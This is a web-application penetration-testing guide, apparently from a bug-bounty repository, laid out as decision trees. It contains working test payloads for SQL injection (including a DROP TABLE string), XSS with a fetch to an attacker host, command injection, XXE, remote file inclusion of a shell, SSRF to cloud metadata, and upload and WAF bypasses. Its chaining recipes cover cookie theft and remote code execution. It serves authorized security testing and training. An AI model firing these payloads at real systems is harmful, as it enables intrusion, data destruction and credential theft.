The Master Attack Flow
A "choose your own adventure" methodology for web application penetration testing. Follow the decision trees to identify which vulnerabilities to test based on what you observe. Every path leads to specific methodologies and cheatsheets in this repository.
- How to Use This Flow
- Phase 1: Initial Reconnaissance
- Phase 2: Authentication & Session Attacks
- Phase 3: Input-Based Attacks
- Phase 4: Functionality-Based Attacks
- Phase 5: Infrastructure & Protocol Attacks
- Phase 6: Client-Side Attacks
- Phase 7: Chaining Vulnerabilities
- Quick Reference Matrix
Each section presents a scenario you might encounter during testing. Follow the branches:
┌─────────────────────────┐
│ WHAT DO YOU SEE? │
│ │
│ [Observation] │
└────────────┬────────────┘
│
┌────────┴────────┐
▼ ▼
┌────────┐ ┌────────────┐
│ YES → │ │ NO → Move │
│ Test: │ │ to next │
│ [Vuln] │ │ section │
└────────┘ └────────────┘
| Icon | Meaning |
|---|---|
| 🔴 | Critical — test immediately |
| 🟠 | High priority |
| 🟡 | Medium priority |
| 🟢 | Low priority / situational |
| 📋 | Checklist item |
| 🔗 | Links to methodology |
| ⚡ | Quick win potential |
Prerequisites:
- Target is in scope for your bug bounty program
- You have explicit written authorization to test
- Reconnaissance is complete (subdomains mapped, live hosts identified)
- Technology stack is identified (use
resources/cheatsheets/web-penetration.md)
Reference: Use Getting Started Guide for Bug Hunters to set up your environment before following this flow.
Before diving into specific attacks, map the application's surface area.
┌─────────────────────────────────────────────────────────────┐
│ INITIAL APPLICATION ASSESSMENT │
│ "What am I looking at?" │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┐
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Modern SPA? │ │ Traditional │ │ API-Only │
│ (React, Vue, │ │ Server-Render │ │ Backend? │
│ Angular) │ │ (PHP, .NET, │ │ (REST, │
│ │ │ Rails) │ │ GraphQL) │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Focus on: │ │ Focus on: │ │ Focus on: │
│ • API calls │ │ • Forms │ │ • Endpoints │
│ • JWT tokens │ │ • Cookies │ │ • Auth tokens │
│ • CORS │ │ • Sessions │ │ • Rate limits │
│ • CSP │ │ • CSRF │ │ • IDOR │
└───────────────┘ └───────────────┘ └───────────────┘
┌─────────────────────────────────────────────────────────────┐
│ RECON CHECKLIST │
├─────────────────────────────────────────────────────────────┤
│ 📋 Crawl the application (use: Crawling and Fuzzing.md) │
│ 📋 Identify all endpoints and parameters │
│ 📋 Map API routes (use: API Penetration.md) │
│ 📋 Check for GraphQL endpoint (use: GraphQL.md) │
│ 📋 Identify tech stack (server, framework, CDN) │
│ 📋 Check for hidden vhosts (use: VHost.md) │
│ 📋 Look for exposed .git, .env, config files │
│ 📋 Check robots.txt, sitemap.xml for hidden paths │
│ 📋 Review JavaScript files for endpoints and secrets │
│ 📋 Test for broken links (use: Exploit Broken Links.md) │
└─────────────────────────────────────────────────────────────┘
🔗 Start Here: methodologies/web penetration/Crawling and Fuzzing — before attacking, know your target.
Every application has authentication. These attacks exploit how users log in and stay logged in.
┌─────────────────────────────────────────────────────────────┐
│ AUTHENTICATION OBSERVED │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┬───────────────────┐
▼ ▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Login Form │ │ OAuth / SSO │ │ JWT Tokens │ │ MFA / 2FA │
│ (Email/ │ │ (Google, │ │ (Bearer │ │ (TOTP, SMS, │
│ Password) │ │ GitHub, │ │ tokens) │ │ Push) │
│ │ │ SAML) │ │ │ │ │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ LOGIN FORM → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 SQL INJECTION │
│ └─ Test: ' OR 1=1-- -, '; DROP TABLE users;-- │
│ └─ 🔗 SQL Injection.md │
│ └─ ⚡ Quick Win: Admin bypass with ' OR '1'='1 │
│ │
│ 🔴 BRUTE FORCE │
│ └─ Test: Common passwords, username as password │
│ └─ 🔗 Bruteforcing.md │
│ └─ ⚡ Quick Win: admin:admin, test:test, guest:guest │
│ │
│ 🟠 USERNAME ENUMERATION │
│ └─ Test: Different error messages for user vs password │
│ └─ Check: Response timing differences │
│ └─ Check: Password reset form reveals valid users │
│ │
│ 🟠 NO SQL INJECTION │
│ └─ Test: {"$gt":""}, {"$ne":null} │
│ └─ 🔗 NoSQL Injection Vulnerabilities.md (web technologies) │
│ │
│ 🟡 SESSION FIXATION │
│ └─ Test: Does session token change after login? │
│ └─ 🔗 Session Fixation.md │
│ │
│ 🟡 HTTP PARAMETER POLLUTION │
│ └─ Test: Duplicate parameters in login request │
│ └─ 🔗 HTTP Parameter Pollution.md │
│ │
│ 🟢 RACE CONDITION ON LOGIN │
│ └─ Test: Concurrent login requests │
│ └─ 🔗 Exploiting Race Conditions.md │
│ │
└─────────────────────────────────────────────────────────────┘
Attack Sequence for Login Forms:
- First: Test for SQL Injection (highest impact)
- Then: Attempt brute force with common credentials
- Next: Check for username enumeration
- Finally: Test session handling after login
┌─────────────────────────────────────────────────────────────┐
│ OAUTH / SSO → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 REDIRECT URI MANIPULATION │
│ └─ Test: redirect_uri=https://attacker.com │
│ └─ Test: redirect_uri=https://target.com.attacker.com │
│ └─ 🔗 OAuth.md (web penetration) │
│ └─ 🔗 OAuth Exploitation.md (web technologies) │
│ │
│ 🟠 AUTHORIZATION CODE INJECTION │
│ └─ Test: Inject attacker's code into victim's flow │
│ └─ 🔗 OAuth.md │
│ │
│ 🟠 STATE PARAMETER MISSING │
│ └─ Test: CSRF on OAuth authorization request │
│ └─ 🔗 CSRF.md │
│ │
│ 🟡 OPENID CONNECT MISCONFIGURATION │
│ └─ Test: ID token manipulation, alg:none │
│ └─ 🔗 Open ID Connect.md │
│ │
│ 🟡 IMPLICIT GRANT EXPLOITATION │
│ └─ Test: Token leakage in URL fragments │
│ └─ 🔗 OAuth Exploitation.md │
│ │
│ 🟢 SCOPE ESCALATION │
│ └─ Test: Add additional scopes to authorization request │
│ └─ 🔗 OAuth.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ JWT TOKENS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 ALGORITHM CONFUSION │
│ └─ Test: Change alg to "none", remove signature │
│ └─ Test: Change RS256 to HS256, sign with public key │
│ └─ 🔗 JWT.md │
│ │
│ 🟠 SIGNATURE BYPASS │
│ └─ Test: Empty signature, invalid signature │
│ └─ 🔗 JWT.md │
│ │
│ 🟠 KEY INJECTION │
│ └─ Test: jwk header, jku header, kid injection │
│ └─ 🔗 JWT.md │
│ │
│ 🟡 TOKEN EXPIRY BYPASS │
│ └─ Test: Modify exp claim, use expired tokens │
│ └─ 🔗 JWT.md │
│ │
│ 🟡 PRIVILEGE ESCALATION VIA CLAIMS │
│ └─ Test: Modify role, admin, scope claims │
│ └─ 🔗 JWT.md + IDOR.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ MFA / 2FA → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 MFA BYPASS VIA DIRECT ENDPOINT ACCESS │
│ └─ Test: Access /dashboard directly without MFA │
│ └─ 🔗 MFA-2FA Exploitation.md │
│ │
│ 🟠 MFA BYPASS VIA RESPONSE MANIPULATION │
│ └─ Test: Change 2fa_required:true to false │
│ └─ 🔗 MFA-2FA Exploitation.md │
│ │
│ 🟡 MFA CODE BRUTE FORCE │
│ └─ Test: 000000-999999 (if no rate limiting) │
│ └─ 🔗 Bruteforcing.md + MFA-2FA Exploitation.md │
│ │
│ 🟡 MFA FATIGUE / PUSH BOMBING │
│ └─ Test: Repeated push notifications │
│ └─ 🔗 MFA-2FA Exploitation.md │
│ │
│ 🟢 BACKUP CODE ENUMERATION │
│ └─ Test: Predictable backup code format │
│ └─ 🔗 MFA-2FA Exploitation.md │
│ │
└─────────────────────────────────────────────────────────────┘
Every input field is an opportunity. This is the largest attack surface in any application.
┌─────────────────────────────────────────────────────────────┐
│ INPUT TYPE OBSERVED │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┬───────────────────┐
▼ ▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Search │ │ User- │ │ API Request │ │ File Upload │
│ Bar / Filter │ │ Supplied Data │ │ Parameters │ │ Function │
│ │ │ (Profile, │ │ (REST, │ │ │
│ │ │ Comments, │ │ GraphQL) │ │ │
│ │ │ Posts) │ │ │ │ │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ SEARCH / FILTER INPUT → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 SQL INJECTION │
│ └─ Test: ' OR 1=1-- -, ' UNION SELECT 1,2,3-- │
│ └─ 🔗 SQL Injection.md │
│ └─ ⚡ Quick Win: Look for database errors │
│ │
│ 🔴 XSS (REFLECTED) │
│ └─ Test: <script>alert(1)</script> │
│ └─ Test: "><img src=x onerror=alert(1)> │
│ └─ 🔗 xss.md │
│ └─ ⚡ Quick Win: Search term reflected in page? │
│ │
│ 🟠 COMMAND INJECTION │
│ └─ Test: ; id, | whoami, $(whoami) │
│ └─ 🔗 Injection Exploitation.md │
│ │
│ 🟠 SSTI (TEMPLATE INJECTION) │
│ └─ Test: {{7*7}}, ${7*7}, <%= 7*7 %> │
│ └─ 🔗 SSTI.md │
│ └─ ⚡ Quick Win: Math expressions evaluate? │
│ │
│ 🟡 LDAP INJECTION │
│ └─ Test: *)(uid=*))(|(uid=* │
│ └─ 🔗 Injection Exploitation.md │
│ │
│ 🟡 XPATH INJECTION │
│ └─ Test: ' or '1'='1, '] | //user[name/text()=' │
│ └─ 🔗 Injection Exploitation.md │
│ │
└─────────────────────────────────────────────────────────────┘
Differential Diagnosis for Search Bars:
| If You See... | It Might Be... | Test This |
|---|---|---|
| Database errors | SQL Injection | ' OR 1=1-- |
| Your input reflected in HTML | Reflected XSS | <script>alert(1)</script> |
| Math calculations executed | SSTI | {{7*7}} |
| System command output | Command Injection | ; whoami |
| LDAP error messages | LDAP Injection | *)(uid=* |
┌─────────────────────────────────────────────────────────────┐
│ USER CONTENT (PROFILE, COMMENTS, POSTS) → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 STORED XSS │
│ └─ Test: <script>alert(document.cookie)</script> │
│ └─ Test: <img src=x onerror=fetch('https://attacker.com')> │
│ └─ 🔗 xss.md │
│ └─ ⚡ Quick Win: Profile fields, comment sections │
│ │
│ 🔴 SQL INJECTION (SECOND-ORDER) │
│ └─ Test: Inject in profile, triggers on admin panel │
│ └─ 🔗 SQL Injection.md │
│ │
│ 🟠 HTML INJECTION │
│ └─ Test: <h1>Test</h1>, <a href="https://evil.com">Click │
│ └─ 🔗 xss.md (if script tags blocked) │
│ │
│ 🟠 FILE UPLOAD IN COMMENTS (if attachments allowed) │
│ └─ Test: Upload .php, .jsp, .asp as "image" │
│ └─ 🔗 File Upload Vulnerabilities.md │
│ │
│ 🟡 CRLF INJECTION IN HEADERS (via user input) │
│ └─ Test: %0d%0aSet-Cookie: session=attacker │
│ └─ 🔗 CRLF Injection.md │
│ │
│ 🟡 PROTOTYPE POLLUTION (if JavaScript-heavy app) │
│ └─ Test: __proto__[isAdmin]=true │
│ └─ 🔗 Prototype Pollution.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ API PARAMETERS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 IDOR (INSECURE DIRECT OBJECT REFERENCE) │
│ └─ Test: Change /user/123 → /user/124 │
│ └─ Test: Change ?id=123 → ?id=124 │
│ └─ 🔗 IDOR.md │
│ └─ ⚡ Quick Win: Sequential IDs, UUIDs in URLs │
│ │
│ 🟠 MASS ASSIGNMENT │
│ └─ Test: Add "role":"admin" to user update request │
│ └─ 🔗 API Penetration.md │
│ │
│ 🟠 SSRF (if parameter contains URL) │
│ └─ Test: ?url=http://169.254.169.254/latest/meta-data │
│ └─ Test: ?redirect=http://attacker.com │
│ └─ 🔗 SSRF.md │
│ │
│ 🟡 XXE (if XML input accepted) │
│ └─ Test: <!ENTITY xxe SYSTEM "file:///etc/passwd"> │
│ └─ 🔗 XXE Vulnerabilities.md │
│ │
│ 🟡 GRAPHQL-SPECIFIC ATTACKS │
│ └─ Test: Introspection query, batching, depth attacks │
│ └─ 🔗 GraphQL.md │
│ │
│ 🟡 RACE CONDITION (if state-changing endpoint) │
│ └─ Test: Concurrent requests with same coupon code │
│ └─ 🔗 Exploiting Race Conditions.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ FILE UPLOAD FUNCTION → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 UNRESTRICTED FILE UPLOAD (RCE) │
│ └─ Test: Upload .php, .jsp, .aspx, .phtml, .php5 │
│ └─ Test: Double extension: file.php.jpg │
│ └─ Test: Null byte: file.php%00.jpg │
│ └─ 🔗 File Upload Vulnerabilities.md │
│ └─ ⚡ Quick Win: Web shell upload = immediate RCE │
│ │
│ 🔴 XXE VIA FILE UPLOAD (if XML/SVG/DOCX accepted) │
│ └─ Test: SVG with embedded XXE payload │
│ └─ Test: DOCX/XLSX XXE (Office Open XML) │
│ └─ 🔗 XXE Vulnerabilities.md │
│ │
│ 🟠 XSS VIA FILE UPLOAD │
│ └─ Test: SVG with <script> tag, HTML file upload │
│ └─ 🔗 xss.md │
│ │
│ 🟠 SSRF VIA FILE UPLOAD (if URL upload supported) │
│ └─ Test: Upload from URL pointing to internal services │
│ └─ 🔗 SSRF.md │
│ │
│ 🟡 IMAGETRAGICK / GHOSTSCRIPT RCE │
│ └─ Test: Malicious image with ImageMagick payloads │
│ └─ 🔗 File Upload Vulnerabilities.md │
│ │
│ 🟡 ZIP SLIP / PATH TRAVERSAL IN ARCHIVE │
│ └─ Test: Zip file with ../../../etc/passwd entry │
│ └─ 🔗 LFI and RFI.md │
│ │
└─────────────────────────────────────────────────────────────┘
File Upload Bypass Cheatsheet:
| Restriction | Bypass Technique |
|---|---|
| Extension blacklist | Try: .php5, .phtml, .pht, .php., .PhP, .pHp |
| MIME type check | Change Content-Type: image/jpeg → text/php |
| Content validation | Add GIF89a; header before PHP code |
| Image-only check | Create polyglot image/webshell with exiftool |
| Server renames file | Check for LFI to include uploaded file |
Beyond inputs, application functions themselves can be vulnerable.
┌─────────────────────────────────────────────────────────────┐
│ FUNCTIONALITY OBSERVED │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┬───────────────────┐
▼ ▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ URL/Redirect │ │ Email │ │ Import/Export │ │ WebSocket │
│ Parameters │ │ Functionality │ │ Functionality │ │ Connections │
│ │ │ │ │ │ │ │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ URL / REDIRECT PARAMETERS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 SSRF (if parameter fetches URLs) │
│ └─ Test: Internal IPs, cloud metadata, localhost │
│ └─ 🔗 SSRF.md │
│ │
│ 🔴 OPEN REDIRECT │
│ └─ Test: ?redirect=https://evil.com │
│ └─ Test: ?next=//evil.com, ?url=https:evil.com │
│ └─ 🔗 Open Redirect.md │
│ │
│ 🟠 LFI/RFI (if parameter includes files) │
│ └─ Test: ?page=../../../../etc/passwd │
│ └─ Test: ?page=https://evil.com/shell.php │
│ └─ 🔗 LFI and RFI.md │
│ │
│ 🟡 DNS REBINDING (if URL is validated then used) │
│ └─ Test: Domain that resolves to different IPs │
│ └─ 🔗 DNS Rebinding.md │
│ │
│ 🟡 HTTP PARAMETER POLLUTION │
│ └─ Test: ?url=good.com&url=evil.com │
│ └─ 🔗 HTTP Parameter Pollution.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ EMAIL FUNCTIONALITY → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 EMAIL HEADER INJECTION │
│ └─ Test: Bcc: victim@company.com in email field │
│ └─ 🔗 Email Attacks.md │
│ │
│ 🟠 EMAIL SPOOFING (if app sends emails on user's behalf) │
│ └─ Test: From: CEO <ceo@company.com> │
│ └─ 🔗 Email Attacks.md │
│ │
│ 🟡 SSRF IN EMAIL TEMPLATES (if external images fetched) │
│ └─ Test: <img src="http://169.254.169.254/"> │
│ └─ 🔗 SSRF.md │
│ │
│ 🟡 SSTI IN EMAIL TEMPLATES │
│ └─ Test: {{7*7}} in email body or subject │
│ └─ 🔗 SSTI.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ IMPORT / EXPORT → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 XXE IN IMPORT (XML, DOCX, XLSX) │
│ └─ Test: Upload XML with external entity │
│ └─ 🔗 XXE Vulnerabilities.md │
│ │
│ 🟠 CSV/EXCEL FORMULA INJECTION │
│ └─ Test: =cmd|'/C calc'!A0 in exported CSV │
│ └─ 🔗 Injection Exploitation.md │
│ │
│ 🟡 DESERIALIZATION IN IMPORT (if serialized objects) │
│ └─ Test: Malicious serialized Java/PHP/Python object │
│ └─ 🔗 Deserialization.md │
│ │
│ 🟡 IDOR IN EXPORT (export other users' data) │
│ └─ Test: Change export ID parameter │
│ └─ 🔗 IDOR.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ WEBSOCKET CONNECTIONS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 CROSS-SITE WEBSOCKET HIJACKING │
│ └─ Test: No Origin validation, missing CSRF token │
│ └─ 🔗 WebSocket Exploitation.md │
│ │
│ 🟠 UNAUTHORIZED MESSAGE MANIPULATION │
│ └─ Test: Modify message content to impersonate users │
│ └─ 🔗 WebSocket Exploitation.md │
│ │
│ 🟡 IDOR IN WEBSOCKET MESSAGES │
│ └─ Test: Change user_id in WebSocket message │
│ └─ 🔗 IDOR.md + WebSocket Exploitation.md │
│ │
│ 🟡 RACE CONDITION IN REAL-TIME APPS │
│ └─ Test: Rapid message sending for duplicate actions │
│ └─ 🔗 Exploiting Race Conditions.md │
│ │
└─────────────────────────────────────────────────────────────┘
Attacks that target the underlying infrastructure rather than application logic.
┌─────────────────────────────────────────────────────────────┐
│ INFRASTRUCTURE CLUES │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┬───────────────────┐
▼ ▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ CDN / WAF │ │ Load Balancer │ │ Cache Headers │ │ Supply Chain │
│ Detected │ │ / Proxy │ │ (Varnish, │ │ (npm, pip, │
│ │ │ Detected │ │ CloudFront) │ │ composer) │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ WAF/CDN PRESENT → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 WAF BYPASS TECHNIQUES │
│ └─ Test: Encoding, obfuscation, fragmentation │
│ └─ 🔗 WAF.md (web technologies) │
│ │
│ 🟠 ORIGIN IP DISCLOSURE │
│ └─ Test: DNS history, certificate transparency, censys │
│ └─ 🔗 WAF.md │
│ │
│ 🟠 HTTP REQUEST SMUGGLING │
│ └─ Test: CL.TE, TE.CL, TE.TE desync │
│ └─ 🔗 HTTP Request Smuggling.md │
│ └─ ⚡ Quick Win: If front-end/back-end mismatch │
│ │
│ 🟡 WEB CACHE DECEPTION │
│ └─ Test: /account.css → cached with sensitive content │
│ └─ 🔗 Web Cache Deception.md │
│ │
│ 🟡 WEB CACHE POISONING │
│ └─ Test: Unkeyed headers (X-Forwarded-Host) │
│ └─ 🔗 Web Cache Deception.md │
│ │
│ 🟢 CSP BYPASS (if CSP header present) │
│ └─ Test: Script gadgets, JSONP endpoints, CDN whitelist │
│ └─ 🔗 csp.md │
│ │
└─────────────────────────────────────────────────────────────┘
WAF Bypass Quick Reference:
| Technique | Example |
|---|---|
| Case variation | <ScRiPt>alert(1)</sCrIpT> |
| Encoding | %3Cscript%3Ealert(1)%3C/script%3E |
| Double URL encoding | %253Cscript%253E |
| Null bytes | <scri%00pt>alert(1)</script> |
| Fragmentation | Send headers in separate packets |
| HTTP Parameter Pollution |
?id=1&id=2 (bypasses WAF regex) |
| Alternative syntax |
`id` instead of ;id
|
┌─────────────────────────────────────────────────────────────┐
│ LOAD BALANCER → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🔴 HTTP REQUEST SMUGGLING │
│ └─ Test: CL.TE, TE.CL desync between LB and backend │
│ └─ 🔗 HTTP Request Smuggling.md │
│ │
│ 🟠 HOST HEADER INJECTION │
│ └─ Test: X-Forwarded-Host: evil.com │
│ └─ 🔗 header-injection.md │
│ │
│ 🟡 PATH CONFUSION / ROUTING BYPASS │
│ └─ Test: /admin → //admin → /ADMIN → /;/admin │
│ └─ 🔗 HTTP Request Smuggling.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ CACHE HEADERS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 WEB CACHE DECEPTION │
│ └─ Test: /profile.css, /settings.json caching sensitive │
│ └─ 🔗 Web Cache Deception.md │
│ │
│ 🟠 WEB CACHE POISONING │
│ └─ Test: Unkeyed headers, fat GET requests │
│ └─ 🔗 Web Cache Deception.md │
│ │
│ 🟡 CLICKJACKING (if cache serves attacker's page) │
│ └─ Test: Cache attacker content at victim URL │
│ └─ 🔗 Clickjacking.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ SUPPLY CHAIN INDICATORS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 DEPENDENCY CONFUSION │
│ └─ Test: Internal package names → publish to public repo │
│ └─ 🔗 Supply Chain Attack.md │
│ │
│ 🟠 EXPOSED SECRETS (GitHub, GitLab) │
│ └─ Test: Search repo for .env, credentials, API keys │
│ └─ 🔗 GitHub Security.md + GitLab.md │
│ │
│ 🟡 CI/CD PIPELINE EXPLOITATION │
│ └─ Test: Exposed Jenkins, GitHub Actions injection │
│ └─ 🔗 CI-CD Security.md + Jenkins.md │
│ │
│ 🟡 TYPOSQUATTING (if app uses public packages) │
│ └─ Test: Look for packages with similar names │
│ └─ 🔗 Supply Chain Attack.md │
│ │
└─────────────────────────────────────────────────────────────┘
Attacks that target the user's browser rather than the server.
┌─────────────────────────────────────────────────────────────┐
│ CLIENT-SIDE BEHAVIOR │
└─────────────────────────────────────────────────────────────┘
│
┌───────────────────┼───────────────────┬───────────────────┐
▼ ▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Cross-Origin │ │ Frames / │ │ CSP Header │ │ JavaScript │
│ Requests │ │ Iframes │ │ Present │ │ Heavy App │
│ (CORS) │ │ │ │ │ │ │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │ │
▼ ▼ ▼ ▼
┌─────────────────────────────────────────────────────────────┐
│ CORS → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟠 ORIGIN REFLECTION │
│ └─ Test: Origin: https://evil.com → reflected in ACAO │
│ └─ 🔗 CORS.md │
│ │
│ 🟠 NULL ORIGIN ALLOWED │
│ └─ Test: Origin: null → ACAO: null │
│ └─ 🔗 CORS.md │
│ │
│ 🟠 SUBDOMAIN ORIGIN BYPASS │
│ └─ Test: Origin: https://evil.target.com │
│ └─ 🔗 CORS.md │
│ │
│ 🟡 PREFLIGHT BYPASS │
│ └─ Test: Simple request that doesn't trigger preflight │
│ └─ 🔗 CORS.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ FRAMES / IFRAMES → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟡 CLICKJACKING │
│ └─ Test: Frame sensitive page, overlay transparent button │
│ └─ 🔗 Clickjacking.md │
│ │
│ 🟡 TABNABBING │
│ └─ Test: Open link with target="_blank", change opener URL │
│ └─ 🔗 Tabnabbing.md │
│ │
│ 🟢 POSTMESSAGE MISCONFIGURATION │
│ └─ Test: Wildcard targetOrigin, missing origin check │
│ └─ 🔗 xss.md (DOM-based XSS via postMessage) │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ CSP HEADER → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟡 CSP BYPASS VIA CDN WHITELIST │
│ └─ Test: Whitelisted CDN has JSONP endpoints? │
│ └─ 🔗 csp.md │
│ │
│ 🟡 CSP BYPASS VIA SCRIPT GADGETS │
│ └─ Test: Legitimate scripts that can execute arbitrary JS │
│ └─ 🔗 csp.md │
│ │
│ 🟡 UNSAFE-INLINE / UNSAFE-EVAL │
│ └─ Test: Inline script execution, eval() abuse │
│ └─ 🔗 csp.md │
│ │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ JAVASCRIPT-HEAVY APP → TEST FOR... │
├─────────────────────────────────────────────────────────────┤
│ │
│ 🟡 DOM-BASED XSS │
│ └─ Test: Sources (location.*, document.URL) → sinks │
│ └─ 🔗 xss.md │
│ │
│ 🟡 PROTOTYPE POLLUTION │
│ └─ Test: __proto__ payloads in object merge operations │
│ └─ 🔗 Prototype Pollution.md │
│ │
│ 🟡 CLIENT-SIDE DESERIALIZATION │
│ └─ Test: Malicious serialized objects in localStorage │
│ └─ 🔗 Deserialization.md │
│ │
│ 🟢 EXPOSED API KEYS IN JS │
│ └─ Test: Search .js files for apiKey, token, secret │
│ └─ 🔗 GitHub Security.md (similar techniques) │
│ │
└─────────────────────────────────────────────────────────────┘
The highest-impact bugs come from chaining multiple vulnerabilities together.
┌─────────────────────────────────────────────────────────────┐
│ VULNERABILITY CHAINING RECIPES │
└─────────────────────────────────────────────────────────────┘
RECIPE 1: XSS → Account Takeover
─────────────────────────────────────────────────────────────
Open Redirect + XSS = Full Account Compromise
Step 1: Find open redirect (Open Redirect.md)
Step 2: Use redirect to bypass XSS input filters
Step 3: Steal session cookies, OAuth tokens
─────────────────────────────────────────────────────────
RECIPE 2: SSRF → Internal Network Access
─────────────────────────────────────────────────────────────
SSRF + Weak Internal Auth = Data Exfiltration
Step 1: Find SSRF endpoint (SSRF.md)
Step 2: Access cloud metadata (169.254.169.254)
Step 3: Use IAM credentials for lateral movement
─────────────────────────────────────────────────────────
RECIPE 3: File Upload + LFI → RCE
─────────────────────────────────────────────────────────────
Unrestricted Upload + Path Traversal = Remote Code Execution
Step 1: Upload web shell as image (File Upload Vulns.md)
Step 2: Find path (check response, predictable locations)
Step 3: Include via LFI vulnerability (LFI and RFI.md)
─────────────────────────────────────────────────────────
RECIPE 4: CSRF + IDOR → Privilege Escalation
─────────────────────────────────────────────────────────────
CSRF (state change) + IDOR (user's data) = Takeover
Step 1: Find IDOR in profile update (IDOR.md)
Step 2: Create CSRF PoC that targets the IDOR endpoint
Step 3: Victim unknowingly updates their own data
─────────────────────────────────────────────────────────
RECIPE 5: CRLF + XSS → Cookie Theft
─────────────────────────────────────────────────────────────
CRLF Injection + Reflected XSS = Session Hijacking
Step 1: Inject CRLF to set new cookie (CRLF Injection.md)
Step 2: Chain with XSS to exfiltrate original cookie
Step 3: Use stolen cookie for session hijacking
─────────────────────────────────────────────────────────
RECIPE 6: Deserialization + SSRF → RCE
─────────────────────────────────────────────────────────────
Unsafe Deserialization + Internal Service Access = RCE
Step 1: Find deserialization endpoint (Deserialization.md)
Step 2: Use gadget chain that triggers SSRF
Step 3: Access internal RCE-vulnerable service
─────────────────────────────────────────────────────────
RECIPE 7: HTTP Smuggling + Cache Poisoning → Persistent XSS
─────────────────────────────────────────────────────────────
Request Smuggling + Web Cache = Stored XSS for all users
Step 1: Identify desync (HTTP Request Smuggling.md)
Step 2: Poison cache with XSS payload
Step 3: All visitors get XSS payload from cache
─────────────────────────────────────────────────────────
┌─────────────────────────────────────────────────────────────┐
│ YOU FOUND A SINGLE BUG. CAN YOU CHAIN IT? │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────┐
│ What's the impact? │
└──────────┬──────────┘
│
┌──────────────────┼──────────────────┐
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ Low Impact │ │ Medium │ │ Already │
│ (Reflected │ │ (Stored XSS, │ │ Critical │
│ XSS, Info │ │ CSRF, IDOR) │ │ (RCE, SQLi) │
│ Disclosure) │ │ │ │ │
└───────┬───────┘ └───────┬───────┘ └───────┬───────┘
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ CAN YOU: │ │ CAN YOU: │ │ CAN YOU: │
│ • Redirect to │ │ • Escalate │ │ • Pivot to │
│ stored XSS? │ │ privileges? │ │ internal? │
